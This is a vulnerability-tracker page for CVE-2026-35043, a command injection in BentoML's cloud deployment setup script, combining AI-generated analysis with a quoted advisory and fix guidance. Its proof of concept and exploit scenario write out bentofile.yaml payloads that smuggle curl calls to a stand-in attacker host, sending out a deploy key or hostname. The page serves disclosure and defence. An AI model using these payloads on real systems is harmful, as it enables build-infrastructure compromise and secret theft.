Docker
CVE-2026-35043
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious system_packages parameter
-
ExploitUpload BentoML deployment configuration
-
ExecutionInject shell metacharacters into setup.sh script
-
ImpactExecute arbitrary commands on cloud build infrastructure
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | BentoML deployment via BentoCloud with attacker-controlled system_packages parameter in deployment configuration; unfixed cloud deployment path in src/bentoml/_internal/cloud/deployment.py line 1648 that lacks shlex.quote() protection |
| Impact | Real-world risk is elevated despite the CVSS 7.8 score's local attack vector classification (AV:L). The CVSS vector (AV:L/AC:L/PR:N/UI:R) indicates local attack requiring user interaction without privileges, but this underrepresents the actual threat model. The vulnerability executes on remote cloud build infrastructure when users deploy malicious bentofile.yaml configurations, making it functionally a remote attack against BentoCloud's multi-tenant CI/CD tier. Attack complexity is low (AC:L) and requires no authentication (PR:N), though user interaction (UI:R) is needed to trigger deployment. EPSS exploitation probability data not provided, but the detailed proof-of-concept with working payload in the disclosure significantly lowers exploitation barriers. No CISA KEV listing indicates no confirmed active exploitation in federal enterprise environments. However, the supply chain attack vector (malicious Bentos from public model hubs) and CI/CD infrastructure access (container registries, deployment APIs, cross-tenant secrets) create high-value targets. The partial fix in commit ce53491 demonstrates vendor awareness but incomplete remediation, increasing risk that security-conscious users may assume full protection. Priority should be high for organizations using BentoCloud or self-hosted Yatai with untrusted Bento sources. |
| Exploit ScenarioDerived | An attacker publishes a malicious machine learning model to a public model hub (e.g., Hugging Face, BentoML Hub) packaged as a Bento with a poisoned bentofile.yaml containing crafted system_packages entries like 'curl' and 'jq;curl${IFS}http://attacker.com/exfil?data=$(cat${IFS}/var/secrets/deploy_key)${IFS}#'. A data scientist from a target organization discovers the model, downloads it, and initiates deployment to their company's BentoCloud account using bentoml deploy commands. The BentoML client uploads the malicious setup.sh script to BentoCloud build infrastructure, where it executes |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 03, 2026
Command injection in BentoML's cloud deployment path allows remote code execution on BentoCloud build infrastructure via malicious bentofile.yaml configurations. While commit ce53491 fixed command injection in local Dockerfile generation by adding shlex.quote protection, the cloud deployment code path (deployment.py:1648) remained vulnerable, directly interpolating system_packages into shell commands without sanitization. Attackers can inject shell metacharacters through bentofile.yaml to execut
Earlier versions of this analysis (1)
Command injection in BentoML's cloud deployment path allows remote code execution on BentoCloud build infrastructure via malicious bentofile.yaml configurations. While commit ce53491 fixed command injection in local Dockerfile generation by adding shlex.quote protection, the cloud deployment code path (deployment.py:1648) remained vulnerable, directly interpolating system_packages into shell commands without sanitization. Attackers can inject shell metacharacters through bentofile.yaml to execute arbitrary commands during cloud deployment, enabling supply chain attacks, credential exfiltration, and infrastructure compromise. CVSS 7.8 score reflects local attack vector requiring user interaction, but real-world impact targets cloud CI/CD infrastructure. No public exploit code or active exploitation (CISA KEV) confirmed at time of analysis.
RemediationAI
Apply shlex.quote sanitization to each system_packages entry before shell interpolation in deployment.py line 1648, matching the fix pattern from images.py commit ce53491. The corrected code should read: if config.docker.system_packages: quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages); content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode(). Vendor-released patch details not confirmed from available data; monitor GitHub advisory GHSA-fgv4-6jr3-jgfw at https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw for official fix releases. Until patched version is available, organizations should implement input validation on bentofile.yaml configurations before deployment, restricting system_packages to allowlisted package names matching regex ^[a-z0-9][a-z0-9+.-]*$ (Debian package naming convention). For BentoCloud users, contact the vendor about infrastructure-level protections. For self-hosted Yatai deployments, restrict deployment permissions to trusted users only and audit all bentofile.yaml configurations for shell metacharacters (semicolons, backticks, dollar signs, pipes) before allowing cloud deployment. Consider disabling system_packages functionality entirely if not required for production workloads.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
BentoML (pkg:pip/bentoml) is a Python framework for packaging and deploying machine learning models. The vulnerability stems from CWE-78 (OS Command Injection) in the cloud deployment workflow. When users deploy Bentos to BentoCloud or enterprise Yatai platforms, the _build_setup_script function in deployment.py generates a setup.sh script for remote execution on build infrastructure. The function reads system_packages from bentofile.yaml configuration files and constructs an apt-get install command using Python f-string interpolation without shell escaping. While the March 24 security fix (commit ce53491) applied shlex.quote sanitization to local Dockerfile templates (base_debian.j2, base_alpine.j2) and images.py, it omitted the cloud deployment code path. The generated script is uploaded via upload_files to BentoCloud API endpoints and executed with shell privileges during container build processes, creating a command injection vector. The vulnerability affects both standard deployments (line 905) and development hot-reload workflows (line 1068).
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.
The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.
Details
Fixed paths (commit ce53491):
src/_bentoml_sdk/images.py:88- addedshlex.quote(package)src/bentoml/_internal/bento/build_config.py:505- addedbash_quoteJinja2 filter- Jinja2 templates:
base_debian.j2,base_alpine.j2, etc.
Unfixed path:
src/bentoml/_internal/cloud/deployment.py, line 1648:
def _build_setup_script(bento_dir: str, image: Image | None) -> bytes: content = b"" config = BentoBuildConfig.from_bento_dir(bento_dir) if config.docker.system_packages: content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()
system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.
Remote execution confirmed:
- Line 905:
setup_script = _build_setup_script(bento_dir, svc.image)in_init_deployment_files - Line 908:
upload_files.append(("setup.sh", setup_script))uploads to BentoCloud - Line 914:
self.upload_files(upload_files, ...)sends to the remote deployment - The script runs on the cloud build infrastructure during container setup
Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.
Proof of Concept
bentofile.yaml:
service: "service:svc" docker: system_packages:
- "curl"
- "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"
Generated setup.sh:
apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}
|| exit 1
The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.
Impact
A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:
- Supply chain: A shared Bento from a public model hub contains a poisoned
bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure. - Insider threat: A data scientist with deploy permissions injects commands into
system_packagesto exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data). - CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.
Local Reproduction Steps
Tested and confirmed on Ubuntu with BentoML source at commit 0772581.
Step 1: Create a directory with a malicious bentofile.yaml:
mkdir /tmp/bento-pwn cat > /tmp/bento-pwn/bentofile.yaml << 'EOF' service: "service:svc" docker: system_packages:
- "curl"
- "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF
Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):
python3 -c " import yaml with open('/tmp/bento-pwn/bentofile.yaml') as f: config = yaml.safe_load(f) pkgs = config['docker']['system_packages'] script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\" print('Generated setup.sh:') print(script) with open('/tmp/bento-pwn/setup.sh', 'w') as f: f.write(script) "
Step 3: Execute and verify:
rm -f /tmp/PWNED_BY_INJECTION bash /tmp/bento-pwn/setup.sh ls -la /tmp/PWNED_BY_INJECTION
Result: /tmp/PWNED_BY_INJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.
Generated setup.sh content:
apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION
|| exit 1
For comparison, the fixed version (with shlex.quote) would generate:
apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1
The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.
Suggested Fix
Apply shlex.quote to each package name, matching the fix in images.py:
if config.docker.system_packages: quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages) content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()
- Koda Reef
Executive ViewAI
CVE-2026-35043 is a command injection vulnerability in BentoML's cloud deployment path that allows attackers to execute arbitrary commands on BentoCloud build infrastructure through malicious bentofile.yaml files. Organizations using BentoML for cloud deployments face supply chain attack risk, including credential theft and infrastructure compromise. This requires immediate review of deployment processes and user-controlled inputs.
Restrict bentofile.yaml uploads to trusted internal sources only; implement CI/CD approval workflows requiring security review of system_packages configurations; isolate BentoCloud build infrastructure with credential rotation and network segmentation; monitor build logs for unexpected command execution; apply temporary mitigation by manually validating and escaping system_packages input using shlex.quote() in affected code path pending vendor patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
GHSA-fgv4-6jr3-jgfw
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB